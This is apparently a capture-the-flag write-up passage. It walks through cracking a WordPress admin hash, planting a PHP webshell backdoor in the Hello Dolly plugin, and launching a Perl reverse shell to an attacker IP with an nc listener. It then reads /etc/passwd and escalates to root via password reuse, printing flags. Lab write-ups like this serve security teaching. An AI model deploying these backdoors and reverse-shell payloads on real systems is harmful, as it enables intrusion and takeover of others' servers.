Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
manchest3r       (admin)

Now that we have the WordPress administrator’s password, let’s log into the console at http://www.cloudiot.us/wp-admin/. At this point getting code execution is trivial because we can modify any of the plugins' PHP code with a small webshell backdoor. For example, edit the Hello Dolly plugin to include the following PHP code (Plugins -> Editor -> Hello Dolly).

if($_GET["s"]=="N0t_A_B4Ckd00R") {
  system($_GET["c"]);
}

Now go to the following URL.

http://www.cloudiot.us/wp-content/plugins/hello.php?s=N0t_A_B4Ckd00R&c=id

And notice that the id command executes.

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Fatal error: Uncaught Error: Call to undefined function add_action() in /var/www/html/wp-content/plugins/hello.php:63 Stack trace: #0 {main} thrown in /var/www/html/wp-content/plugins/hello.php on line 63

Time to setup a reverse shell. From your attacking machine, execute the following command to catch the shell.

# nc -lvp 80

Then go the following URL (adjust the IP address and port to your attacking server).

http://www.cloudiot.us/wp-content/plugins/hello.php?s=N0t_A_B4Ckd00R&c=perl+-e+'use+Socket%3b$i%3d"52.32.7.126"%3b$p%3d80%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b'

We now have a shell on the box and can acquire a couple new flags.

206.189.66.80: inverse host lookup failed: Unknown host
connect to [172.31.33.192] from (UNKNOWN) [206.189.66.80] 58382
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
# Op3nSes4m3!!1

WordPress - Root

Gaining root on this box is trivial, but it was so trivial that it was easy to overlook.

Upgrade your shell using Python.

$ python -c 'import pty; pty.spawn("/bin/bash")'

Now use the su command to become the root user. The password is the same as the WordPress admin’s password.

www-data@46095a7b6fb0:/var/www/html$ su
su
Password: manchest3r

root@46095a7b6fb0:/var/www/html# ls -al /root
ls -al /root
total 24
drwx------ 1 root root 4096 Dec 18 21:03 .
drwxr-xr-x 1 root root 4096 Jan 12 05:00 ..
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-r--r-- 1 root root  169 Dec 10 15:09 .wget-hsts
-rw------- 1 root root   27 Dec 18 21:03 awinnerisyou.txt
root@46095a7b6fb0:/var/www/html# cat /root/awinnerisyou.txt
cat /root/awinnerisyou.txt
P455wuRdReUs3i5BadMmmk4y!?

Yep, password reuse is still bad Mr. Mackey.